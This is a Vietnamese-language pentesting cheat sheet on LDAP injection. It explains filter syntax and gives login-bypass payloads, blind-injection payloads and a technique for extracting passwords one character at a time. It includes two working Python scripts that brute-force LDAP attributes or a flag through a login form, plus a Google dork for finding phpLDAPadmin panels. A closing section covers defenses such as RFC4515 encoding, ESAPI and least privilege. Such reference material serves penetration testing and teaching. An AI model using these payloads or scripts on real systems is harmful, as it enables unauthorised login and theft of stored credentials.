LDAP Injection
LDAP
LDAP Injection là một cuộc tấn công nhắm vào các ứng dụng web xây dựng các câu lệnh LDAP từ dữ liệu đầu vào của người dùng. Nó xảy ra khi ứng dụng không khử trùng dữ liệu đầu vào đúng cách, cho phép kẻ tấn công thao túng các câu lệnh LDAP thông qua proxy cục bộ, có khả năng dẫn đến truy cập trái phép hoặc thao túng dữ liệu
Filter = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Absolute TRUE
(|) = Absolute FALSE
Ký tự "*" có thể đại diện thay thế một hay nhiều kí tự khác
Ví dụ:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Chú ý:
OpenLDAP : Nếu có 2 bộ lọc đến, chỉ thực thi bộ lọc đầu tiên.
ADAM hoặc Microsoft LDS : Với 2 bộ lọc, chúng sẽ báo lỗi.
SunOne Directory Server 5.0 : Thực thi cả hai bộ lọc.
Điều rất quan trọng là phải gửi bộ lọc với cú pháp đúng, nếu không sẽ xảy ra lỗi. Tốt hơn là chỉ gửi 1 bộ lọc.
Bộ lọc phải bắt đầu bằng: &
hoặc |
Ví dụ:(&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Sau đó: (&(objectClass=
*)(ObjectClass=*))
sẽ là bộ lọc đầu tiên (bộ lọc được thực thi).
Bypass Login
LDAP hỗ trợ một số định dạng để lưu trữ mật khẩu: clear, md5, smd5, sh1, sha, crypt. Vì vậy có thể bất kì cái gì được chèn vào mật khẩu đều bị băm
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Lists
Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump data
Lặp lại các chữ cái, chữ số và ký hiệu ascii:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Scripts
Khám phá các trường LDAP hợp lệ
LDAP chứa theo mặc định một số thuộc tính có thể được sử dụng để lưu thông tin. Ban có trể cố gắng brute-force tất cả chúng để trích xuất thông tin đó. You can find a list of default LDAP attributes here.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Special Blind LDAP Injection (without "*")
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
More Payloads
Defenses
1. Sử Dụng Hàm Mã Hóa LDAP Đúng Cách
1.1. Encode Distinguished Name (DN):
Vấn Đề: Distinguished Name (DN) là một định danh duy nhất trong LDAP và có thể chứa các ký tự đặc biệt cần được encode để tránh lỗi bảo mật. Các ký tự cầnencode bao gồm:
\ # + < > , ; " =
và các ký tự khoảng trắng ở đầu hoặc cuối.Ký Tự Được Cho Phép: Các ký tự đặc biệt như
* ( ) . & - _ [ ]
~ | @ $ % ^ ? : { } ! '` không cần encode.Giải Pháp: Để encode DN trong Java, có thể sử dụng whitelist để chỉ cho phép các ký tự hợp lệ.
String userSN = "Sherlock Holmes"; if (!userSN.matches("[\\w\\s]*")) { throw new IllegalArgumentException("Invalid input"); } String filter = "(&(sn=" + userSN + "))";
1.2. Mã Hóa Search Filter:
Vấn Đề: Trong LDAP, các bộ lọc tìm kiếm sử dụng cú pháp hình thức prefix notation. Các ký tự cần encode trong bộ lọc tìm kiếm bao gồm:
() \ NUL
.Giải Pháp: Encode dữ liệu đầu vào theo RFC4515, nơi các ký tự không an toàn được chuyển đổi thành
\XX
, vớiXX
là mã hex của ký tự đó.string safeFilter = Encoder.LdapFilterEncode(userInput);
1.3. Các Thư Viện và Frameworks:
Java: Thư viện OWASP ESAPI cung cấp các phương thức encode cho LDAP, bao gồm
encodeForLDAP()
vàencodeForDN()
..NET: Thư viện AntiXSS (hiện là lớp Encoder) cung cấp các phương thức như
Encoder.LdapFilterEncode()
vàEncoder.LdapDistinguishedNameEncode()
.
2. Sử Dụng Framework Tự Động Bảo Vệ Chống LDAP Injection
.NET: Sử dụng LINQ to LDAP (hoặc các thư viện tương tự) có thể tự động encode các truy vấn LDAP, giảm nguy cơ lỗi bảo mật.
3. Các Biện Pháp Phụ Trợ
3.1. Nguyên Tắc Ít Quyền:
Mục Tiêu: Giảm thiểu thiệt hại từ các cuộc tấn công LDAP injection bằng cách giảm quyền hạn của tài khoản LDAP binding.
Thiết Lập: Đảm bảo rằng tài khoản LDAP binding có ít quyền hạn nhất cần thiết để thực hiện nhiệm vụ của nó.
3.2. Xác Thực Bind:
Mục Tiêu: Đảm bảo rằng LDAP được cấu hình với xác thực bind để ngăn chặn các cuộc tấn công LDAP injection thông qua xác thực và kiểm tra quyền hạn.
Cảnh Báo: Các cuộc tấn công vẫn có thể diễn ra qua kết nối không được xác thực hoặc bằng cách khai thác các bind không được xác thực.
3.3. Allow-List Input Validation:
Xác thực đầu vào có thể được sủ dụng để phát hiện đầu vào trái phép trước khi chuyển đến truy vấn LDAP. For more information please see the Input Validation Cheat Sheet.
Last updated